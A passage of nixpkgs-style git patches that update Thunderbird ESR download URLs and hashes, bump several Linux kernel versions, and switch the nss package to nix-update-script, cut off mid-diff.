-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/he/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/he/Thunderbird%20140.2.1esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "ba84a780bdbd9fd1be53ab6ef2f646d6d5349ab09395b7b3210d712c8d96398b";
+      sha256 = "db0fb941fa27d0e033c86626c930036902d573a5490df3dbcee165ea4a0f4ce8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hr/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/hr/Thunderbird%20140.2.1esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "f2b89aac5dec53a3bce1b7fa00d2e9e5f48712e25497d44a94683e658ef51083";
+      sha256 = "cc958218aecd68b79ce47f4b7102e4009be999cda6c2211976ad2611c9fd2e2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hsb/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/hsb/Thunderbird%20140.2.1esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "a860af6b47cf20030aae796cd1df76d053c658d7509479e458fe7977e44e9a35";
+      sha256 = "edd627f4d79713c0f918b04306769dc2e636c22c1d63fbf32ef37993e7b637f1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hu/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/hu/Thunderbird%20140.2.1esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "760d3f693e21d11b8f6f0a47f7b049231ff8fd3677caff490ff1a21412a11538";
+      sha256 = "eb9267e0c968d2b7056457f53e541fd33418f2bb73b262e12be9758e4f1551fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/hy-AM/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/hy-AM/Thunderbird%20140.2.1esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "ed2cf577c6748595996839a7b723dd17a1fb84ed28ef6e866a47b7e53ad5c33b";
+      sha256 = "644afac0670e3194b88574a1a3918ba88d728ecaf1710d8d80ee97e74c30f2c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/id/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/id/Thunderbird%20140.2.1esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "6ff757d63a91c25191f03614706d5c37346075508419443811141a449e9ebd8a";
+      sha256 = "5206d7cf4452cdd01e11da29b28cafee5493a389c5198de4efb0a58891ad6f9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/is/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/is/Thunderbird%20140.2.1esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "9b8abcbe128a32578e48bb5f3f55f4b5d8552f5121c47ee84b00540cc84cb75d";
+      sha256 = "c4bf0876b7b7f9779553aaec5ba1d57945e68097e6d80a90ab9818673b5ca278";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/it/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/it/Thunderbird%20140.2.1esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "85a65eed6ea9b4c34ea7e0c51ce66bac0b23326a571a9a8c90378136d0b3e889";
+      sha256 = "5e8865e2728e0a3357289ece1312e8e08ad64b9948084dff90998f1a88b0dd50";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ja-JP-mac/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ja-JP-mac/Thunderbird%20140.2.1esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "1fda073e04b32c220d26de16a0e3cceecac7dc118de7ed4228006a6e2f85511d";
+      sha256 = "65b0510b09c560630f8b797cfa78e7b977a84de3fc042b437834b42262f127cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ka/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ka/Thunderbird%20140.2.1esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "6f12f95134d067ebe1f641581c7f5e30b897fb08177a37c92ca48b1c3d825756";
+      sha256 = "a2803b7cf555a05ee8997253f27cd1be8d2999374d053e36e467ce2bc493aebb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/kab/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/kab/Thunderbird%20140.2.1esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "817206e4339853ffab6aca1fab7ca6f1294026a75e6368a9d723a25aa5759991";
+      sha256 = "e0784ef12461c113cef9cdd5aaa51c1d6f050d404afdc081c357c8362fed2ae9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/kk/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/kk/Thunderbird%20140.2.1esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "c866f4849a1ccbc416b2341be8f008963ad7cf3cf0f4bd2902cba08c629ad6ed";
+      sha256 = "ed56aa4fb40ff008c1a9ad6622ee7829473956a2ad9b7cd26ba5ef10481634b5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ko/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ko/Thunderbird%20140.2.1esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "36c869ce7c2fff3e20cfd818fa33ebd1aae371dd32bfb5c0469f79b3d895966b";
+      sha256 = "215b662a7ebfbdbbb00c13c114d16e2c1ff5e62020961da7844bbe3bf69fd059";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/lt/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/lt/Thunderbird%20140.2.1esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "29f493b08847d1b490c17e23d4fe6f94be5fd395dda8e991f3236afb7b0a679e";
+      sha256 = "1fda539300fc7dbd4f279441ec1944b6228ee6fcb9521ee66c3d2a5d5ffe8a7c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/lv/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/lv/Thunderbird%20140.2.1esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "91225669ead9f0775d9cf1902d092b8ee7e0635b227c1e15650cac8b14efbc48";
+      sha256 = "8e213a8dd0762afa100c0757b581485f900cca841fbc39f7d3a4740d047c3744";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ms/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ms/Thunderbird%20140.2.1esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "5fa2d8881ef16bf4aa2ed4200c3a1eb7f82225e08da8c24fed356b6a735fa458";
+      sha256 = "7700697f8f18fe651a3f15cfbce74f39748cf6e85a6f994485a10e5ab7053d2d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nb-NO/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/nb-NO/Thunderbird%20140.2.1esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "7f5a59cd8dd68723c67815707541a0d90f950e8fca778c4d07bab38979018241";
+      sha256 = "e7b204bcb951978ded67acad0873bee158a423d8b8dca79d8c456025b7b5ac7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nl/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/nl/Thunderbird%20140.2.1esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "5cd754e1fb31b1d0c0ae9d68cd0d8364d95cf50445a3da023e83cf5f50d2a02a";
+      sha256 = "9df630c7e2574ea4edfe1d297cec9558d47d16b67b1f31d391433cddf1c9cea8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/nn-NO/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/nn-NO/Thunderbird%20140.2.1esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "0faf16cb323faf777e8baf4a43fa7700797b9f6274efcc392e0ad2186e9eb473";
+      sha256 = "a9d109974baa037ba433435568e2ee1ec51432107171a8e0c7fbc7d96aafd4ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pa-IN/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/pa-IN/Thunderbird%20140.2.1esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "dade69c73af00d92b8cf4b7865a28f32ab658c33b995964e3a20045561789894";
+      sha256 = "4d704853965298b776a69bb391532717bb821ab6d85b78cdcdd9e42923a7375d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pl/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/pl/Thunderbird%20140.2.1esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "718a80432616090d3e6deb69be9658f74625a44a46b720b397933ef5f3164141";
+      sha256 = "bc87493829e2d6639f7a4dfd7d4e6fcc39a02c89b3c0d73459d530755ae5f4f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pt-BR/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/pt-BR/Thunderbird%20140.2.1esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "aecae2788d02433ef368c3562369e7403ae9eb8997f351a68b1cd646eccb46d2";
+      sha256 = "59837318a561dfcbcc71dd79ce4e348b7ecfd03abdb4ed5f1f5b74933a26c079";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/pt-PT/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/pt-PT/Thunderbird%20140.2.1esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "f60dd43847efa924d9b856571d0a5a01b6209e0442e5f959f6b9b3fd3477c577";
+      sha256 = "2dd45a1b42c72b6f93052beed4a94bd6035a8a6fa9ef9fbc1414eaf05f3c2fc1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/rm/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/rm/Thunderbird%20140.2.1esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "f91d817d92948caacc1345739d89ee67690a9ef75acc1d86f0c0068ee49599e6";
+      sha256 = "5e8e34440c2ad75ec25d9d76be78adf91bfa93a1cc76b54a8684fcdf5414d8b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ro/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ro/Thunderbird%20140.2.1esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "e00bb3343c92eb50d703b53a4a48b1315bf099728c83a1d728a39ef3a8304e66";
+      sha256 = "17bf8250fb0b4b469e1c1f6513cad3f1a710e93d20d55112fae74964c0e979a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/ru/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/ru/Thunderbird%20140.2.1esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "c96891f01601bc7ed3fa593bbb1fce27cc9130546d3bd3c22c406357eb5a724e";
+      sha256 = "2643aae7800636563488bc05d260def130ad5f11b3335ddbe306c1b34f378d97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sk/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/sk/Thunderbird%20140.2.1esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "ba44a57490fb73becdd2563c88534c264b71b06d69670623bd6f62a5880d9723";
+      sha256 = "a669cd20f3536292e8b0deb13eddf3e66f3914295b35ea6ac842a8956fbb19fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sl/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/sl/Thunderbird%20140.2.1esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "1d2a721bb5dd8e0e3264474a8b33f850ceea3b160b5d8bf006b6e32cb20039a3";
+      sha256 = "3c1909be511fdecf4108af2635b0155724b746a803b42ecf45c9b65202e55080";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sq/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/sq/Thunderbird%20140.2.1esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "3f9ef5c2857d9cc89376db4ef16c4d7079fa35b465701724c2dbe57a752b970f";
+      sha256 = "902d345cbdabf45bbf65b362697271c1141f088a5744ac35557e6341cf67a308";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sr/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/sr/Thunderbird%20140.2.1esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "53f73851ba19824b8ac0bc6d6b9d74bb8e376344598b597c6d3ac08ea5d07c6f";
+      sha256 = "b94d81ddfa9028a6a893b0b0fbf1469621becacc3a0c9af2f4834fe655439aa8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/sv-SE/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/sv-SE/Thunderbird%20140.2.1esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "55c8c3db6b9e7fdf6c1dd91ce671f31dda545f2e5a248cd59413106adfe7a417";
+      sha256 = "feee6a307571d3eb3af00bf2b197d834de5d92b884561a1b48b88d005cda529f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/th/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/th/Thunderbird%20140.2.1esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "85fc399146933fc392f0728f9244d48176845395dab82690c76eb97f02b8a4d5";
+      sha256 = "ecdd20dc696e1b2c8b3fa1c7fd603a7997d8c54baeef580836e9028268f25cda";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/tr/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/tr/Thunderbird%20140.2.1esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "0f019f08f99fb80348934181df9356480a0aca9c6a764d065c8bb3686cbf3b99";
+      sha256 = "28cb4beb177f1a2a9c1978bd6b56f8e5ad9a064b3ed2a38d55c05e68ff6be7f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/uk/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/uk/Thunderbird%20140.2.1esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "eceefb85e3841a06de248cdadca14bbea90d26d752e78be5f0c98450759da7bc";
+      sha256 = "01e5c658be6bc5299c838ff3c0ba08bf67a7fae9e632a4291478efc65912762d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/uz/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/uz/Thunderbird%20140.2.1esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "ff114f243efb544ef47256294122d85e2776d298d323b250c51b135d1c3d75a8";
+      sha256 = "c04c7ae3d4d19820c966ec438e41a4583fc55677f9c8bf119db025b39db795fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/vi/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/vi/Thunderbird%20140.2.1esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "93e1aab8ce3a37bb6f22674ae701417d80067a58355262948067ffdc3d82dcea";
+      sha256 = "501fd7ab5cd1970f11ce12af01e58437922a2f2f12ad299b4a9e75a65242b991";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/zh-CN/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/zh-CN/Thunderbird%20140.2.1esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "38833e805acdd5f2a5ba614e9fec2a737a18d231f39040f25e9447d879a2c6c4";
+      sha256 = "2be204f4708918197298366223798ed01d1d06999a2b553f9a84fda1ccda1114";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/mac/zh-TW/Thunderbird%20140.2.0esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/mac/zh-TW/Thunderbird%20140.2.1esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "7e82319ccaabb0aa248cad7a89ae73a48020d649be8f9e30b399eb8667986427";
+      sha256 = "939418cc480f6650dd9ab6f5743975dbaf730e3fa2a3985b5593a4351653f229";
     }
   ];
 }

From a93495143ceda37d5d29b0575b87dd6e03179f34 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:15 +0300
Subject: [PATCH 4272/4511] linux_6_16: 6.16.4 -> 6.16.5

(cherry picked from commit 71b88af37f3591561b3613cef2efb6d25041b173)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 1ecd04b05334..c6af65171314 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -35,8 +35,8 @@
         "lts": true
     },
     "6.16": {
-        "version": "6.16.4",
-        "hash": "sha256:08mnd8qir2vxjmgblhnqfrfbv2zlig68f4r5askk7d8h3b3y79fn",
+        "version": "6.16.5",
+        "hash": "sha256:1wqk48jzmw5cbijsx5gya8mb0hwzf3pjns85xphisambgspgpgvn",
         "lts": false
     }
 }

From f3c3959b0c9c82615e5f51fb2a07d82ed5c3015e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:20 +0300
Subject: [PATCH 4273/4511] linux_6_12: 6.12.44 -> 6.12.45

(cherry picked from commit b4f77b18772cbf15174776e11bbfac1cf22a2bd6)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c6af65171314..8589e393c252 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -30,8 +30,8 @@
         "lts": true
     },
     "6.12": {
-        "version": "6.12.44",
-        "hash": "sha256:1bmx2vpxy6nkxnmm2a3zmv9smaajfhvslj6id54j4yq2sc722l5n",
+        "version": "6.12.45",
+        "hash": "sha256:0gnvz69anxxpf3ns424mcb6xy10zjxdgb8c126fbipzvkiaai5cg",
         "lts": true
     },
     "6.16": {

From 8bd011e4d80e1e8ae2df8df021e3754e02ac14ef Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:24 +0300
Subject: [PATCH 4274/4511] linux_6_6: 6.6.103 -> 6.6.104

(cherry picked from commit 7bb37cf3516f94c8cd6bc367d0793484175c4fd3)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8589e393c252..d679090089a8 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -25,8 +25,8 @@
         "lts": true
     },
     "6.6": {
-        "version": "6.6.103",
-        "hash": "sha256:13mi8blsw0gps586qbvh7ga5r9pv9jld4fkbp9vaaaz6qcwdv26j",
+        "version": "6.6.104",
+        "hash": "sha256:0sp32nlvglmf1fgapkks6x1xkcmc75i13lfzvjnvmyhscsfjyxra",
         "lts": true
     },
     "6.12": {

From ab8e6bb3ddea485ff56b7a5ceb1b58ef8e357189 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:26 +0300
Subject: [PATCH 4275/4511] linux_6_1: 6.1.149 -> 6.1.150

(cherry picked from commit 438634830b6aea8a96da67fb873e1d39115b9de5)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index d679090089a8..ce03d7838db6 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -5,8 +5,8 @@
         "lts": false
     },
     "6.1": {
-        "version": "6.1.149",
-        "hash": "sha256:0fdyfxw80zhkwh29m5v7xfmbyks5wi6isdq6bv96cn4ssfw0dsf4",
+        "version": "6.1.150",
+        "hash": "sha256:1vr4g32y74jl43hlp2jh708mp2qg4zwqh1bwa3xl9dg2136gy6q0",
         "lts": true
     },
     "5.15": {

From 047652ae19bbc71edebb8b428d7c2b185bbdc370 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:29 +0300
Subject: [PATCH 4276/4511] linux_5_15: 5.15.190 -> 5.15.191

(cherry picked from commit 490d8972e6fcfecbac6853635df262ac16d1dd5b)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index ce03d7838db6..97b7eec71258 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -10,8 +10,8 @@
         "lts": true
     },
     "5.15": {
-        "version": "5.15.190",
-        "hash": "sha256:0146lslj0my0mhcx7wfp984f270zr8iiyq9899v6f7cflkqi9f32",
+        "version": "5.15.191",
+        "hash": "sha256:0kljdv2fmg7qa5lqgdzx30rbnabw963w4k10jzsbdvd36jnb6bbs",
         "lts": true
     },
     "5.10": {

From 5660a3e5b1aa3255dac3d2a99f6e52d461728b70 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:34 +0300
Subject: [PATCH 4277/4511] linux_5_10: 5.10.241 -> 5.10.242

(cherry picked from commit cd9b96d76c7eee66a59e90b3455ec2d0f6c03571)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 97b7eec71258..f36a6718b804 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -15,8 +15,8 @@
         "lts": true
     },
     "5.10": {
-        "version": "5.10.241",
-        "hash": "sha256:1mnqjvb1hmr7p035c66k3z0idirhsj9j5zwgb92gi0ac0s1fkh88",
+        "version": "5.10.242",
+        "hash": "sha256:1kd9dgggk4p0kwd3il0xdsxa1qffcs6znk2k76d6rqkl640fffmw",
         "lts": true
     },
     "5.4": {

From 00ef8d871cd0a255b9259759cc93d5286a096638 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 4 Sep 2025 21:24:37 +0300
Subject: [PATCH 4278/4511] linux_5_4: 5.4.297 -> 5.4.298

(cherry picked from commit 1820772258e5be975529fa2ad3507b4f658ad683)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index f36a6718b804..18e7919d89cf 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "lts": true
     },
     "5.4": {
-        "version": "5.4.297",
-        "hash": "sha256:0hd8x32xgvj4qnc6cls0q21zfgvxxfz7xhbwgl48hxfggbmgq37i",
+        "version": "5.4.298",
+        "hash": "sha256:1rp40i2y5w8mw3126q24yfziqa30qfaddw40cig1xp5s3bnkn5h1",
         "lts": true
     },
     "6.6": {

From 5b339b078dc817a67aaacb3b18775cfaa73cd3aa Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 25 Aug 2025 23:49:02 +0200
Subject: [PATCH 4279/4511] nss: implement automated updates using
 nix-update-script

(cherry picked from commit 9a77eef2a9b9f77ab774c26218d25bb23e48c940)
---
 pkgs/development/libraries/nss/3_114.nix   |  2 ++
 pkgs/development/libraries/nss/esr.nix     |  2 ++
 pkgs/development/libraries/nss/generic.nix | 17 +++++++++++++++--
 pkgs/development/libraries/nss/latest.nix  |  2 ++
 pkgs/development/libraries/nss/update.sh   | 10 ----------
 5 files changed, 21 insertions(+), 12 deletions(-)
 delete mode 100755 pkgs/development/libraries/nss/update.sh

diff --git a/pkgs/development/libraries/nss/3_114.nix b/pkgs/development/libraries/nss/3_114.nix
index 3d17c3de971c..92b0671c8a79 100644
--- a/pkgs/development/libraries/nss/3_114.nix
+++ b/pkgs/development/libraries/nss/3_114.nix
@@ -1,4 +1,6 @@
 import ./generic.nix {
   version = "3.114";
   hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
+  filename = "3_114.nix";
+  versionRegex = "NSS_(3)_(114)(?:_(\\d+))?_RTM";
 }
diff --git a/pkgs/development/libraries/nss/esr.nix b/pkgs/development/libraries/nss/esr.nix
index f1b8c6df4acf..63b10c220152 100644
--- a/pkgs/development/libraries/nss/esr.nix
+++ b/pkgs/development/libraries/nss/esr.nix
@@ -1,4 +1,6 @@
 import ./generic.nix {
   version = "3.101.2";
   hash = "sha256-i5K47pzQYOiD4vFHBN6VeqXEdPBOM7U1oSK0qSi2M2Y=";
+  filename = "esr.nix";
+  versionRegex = "NSS_(3)_(101)(?:_(\\d+))?_RTM";
 }
diff --git a/pkgs/development/libraries/nss/generic.nix b/pkgs/development/libraries/nss/generic.nix
index 77d838a25ab0..6c274607e03c 100644
--- a/pkgs/development/libraries/nss/generic.nix
+++ b/pkgs/development/libraries/nss/generic.nix
@@ -1,4 +1,9 @@
-{ version, hash }:
+{
+  version,
+  hash,
+  filename,
+  versionRegex,
+}:
 {
   lib,
   stdenv,
@@ -19,6 +24,7 @@
   enableFIPS ? false,
   nixosTests,
   nss_latest,
+  nix-update-script,
 }:
 
 let
@@ -229,7 +235,14 @@ stdenv.mkDerivation rec {
       runHook postInstall
     '';
 
-  passthru.updateScript = ./update.sh;
+  passthru.updateScript = nix-update-script {
+    extraArgs = [
+      "--override-filename"
+      "pkgs/development/libraries/nss/${filename}"
+      "--version-regex"
